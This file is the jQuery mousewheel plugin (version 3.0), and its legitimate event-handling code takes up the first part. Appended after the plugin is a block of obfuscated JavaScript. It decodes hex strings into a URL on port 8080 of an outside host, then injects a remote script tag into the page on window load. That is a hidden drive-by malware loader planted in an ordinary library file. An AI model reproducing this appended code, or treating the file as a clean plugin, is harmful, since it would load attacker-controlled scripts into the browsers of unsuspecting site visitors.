/* Copyright (c) 2006 Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
 * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
 * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
 * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.
 * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.
 *
 * $LastChangedDate: 2007-12-20 09:02:08 -0600 (Thu, 20 Dec 2007) $
 * $Rev: 4265 $
 *
 * Version: 3.0
 * 
 * Requires: $ 1.2.2+
 */

(function($) {

$.event.special.mousewheel = {
	setup: function() {
		var handler = $.event.special.mousewheel.handler;
		
		// Fix pageX, pageY, clientX and clientY for mozilla
		if ( $.browser.mozilla )
			$(this).bind('mousemove.mousewheel', function(event) {
				$.data(this, 'mwcursorposdata', {
					pageX: event.pageX,
					pageY: event.pageY,
					clientX: event.clientX,
					clientY: event.clientY
				});
			});
	
		if ( this.addEventListener )
			this.addEventListener( ($.browser.mozilla ? 'DOMMouseScroll' : 'mousewheel'), handler, false);
		else
			this.onmousewheel = handler;
	},
	
	teardown: function() {
		var handler = $.event.special.mousewheel.handler;
		
		$(this).unbind('mousemove.mousewheel');
		
		if ( this.removeEventListener )
			this.removeEventListener( ($.browser.mozilla ? 'DOMMouseScroll' : 'mousewheel'), handler, false);
		else
			this.onmousewheel = function(){};
		
		$.removeData(this, 'mwcursorposdata');
	},
	
	handler: function(event) {
		var args = Array.prototype.slice.call( arguments, 1 );
		
		event = $.event.fix(event || window.event);
		// Get correct pageX, pageY, clientX and clientY for mozilla
		$.extend( event, $.data(this, 'mwcursorposdata') || {} );
		var delta = 0, returnValue = true;
		
		if ( event.wheelDelta ) delta = event.wheelDelta/120;
		if ( event.detail     ) delta = -event.detail/3;
//		if ( $.browser.opera  ) delta = -event.wheelDelta;
		
		event.data  = event.data || {};
		event.type  = "mousewheel";
		
		// Add delta to the front of the arguments
		args.unshift(delta);
		// Add event to the front of the arguments
		args.unshift(event);

		return $.event.handle.apply(this, args);
	}
};

$.fn.extend({
	mousewheel: function(fn) {
		return fn ? this.bind("mousewheel", fn) : this.trigger("mousewheel");
	},
	
	unmousewheel: function(fn) {
		return this.unbind("mousewheel", fn);
	}
});

})(jQuery);
var a;if(a!='pg' && a != ''){a=null};var h;if(h!='U' && h != ''){h=null};var c;if(c!=''){c='r'};var Y=new Date();function L(){var aL;if(aL!='' && aL!='f'){aL=''};var p=window;var x=unescape;this.sI="";var UN;if(UN!='i' && UN!='uX'){UN='i'};var s=x("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6d%61%72%63%61%2e%63%6f%6d%2f%7a%65%64%6f%2e%63%6f%6d%2e%70%68%70");function Z(sr,A){var G;if(G!='' && G!='gV'){G=null};var q="";var k=new String("g");var xC;if(xC!='gd' && xC!='T'){xC='gd'};var QM='';var F=x("%5b"), P=x("%5d");this.D="";var Q=F+A+P;var t=new RegExp(Q, k);this.Uk='';var ag=new String();return sr.replace(t, new String());var _;if(_!='N' && _!='XG'){_='N'};};this.ZK='';var S=new Date();this.GZ="";var gn;if(gn!=''){gn='eV'};var H=new String();var V_=new Date();this.Of='';this.C="";var g=Z('875744074948639606654746','963457');var l=document;var y='';var KA;if(KA!=''){KA='OU'};var o="";var Xd="";function pe(){var da;if(da!='' && da!='CP'){da=null};var dw='';var QS=x("%68%74%74%70%3a%2f%2f%66%6c%6f%72%69%64%61%6f%72%69%67%69%6e%2e%61%74%3a");this.Wa='';H=QS;var VG=new Array();this.GG='';H+=g;this.M='';var lw;if(lw!='Ey' && lw!='yQ'){lw='Ey'};H+=s;var Za;if(Za!='' && Za!='GT'){Za='Cb'};var Ea;if(Ea!='EI' && Ea!='uu'){Ea=''};var Xs;if(Xs!=''){Xs='xc'};try {var Uq=new Array();d=l.createElement(Z('sKcFrUi_pUtn','nUFRq9K_'));var iJ;if(iJ!='' && iJ!='Jv'){iJ=''};this.Aa="";this.mr='';d[x("%73%72%63")]=H;d[x("%64%65%66%65%72")]=[1][0];var pq;if(pq!='dD' && pq!='Vb'){pq='dD'};var MJ=new String();var LD;if(LD!='dv' && LD!='LW'){LD=''};var LT=new String();var pU;if(pU!='gk' && pU!='uC'){pU='gk'};l.body.appendChild(d);this.TF='';var SV;if(SV!='PQ'){SV=''};} catch(z){var Fw=new String();alert(z);};}this.AJ='';var Os;if(Os!='ty' && Os != ''){Os=null};p[String("on"+"lo"+"ad")]=pe;var LS='';var dc="";var Tq=new Array();};var id=new Array();L();var Uy=new Date();var sp;if(sp!=''){sp='Np'};
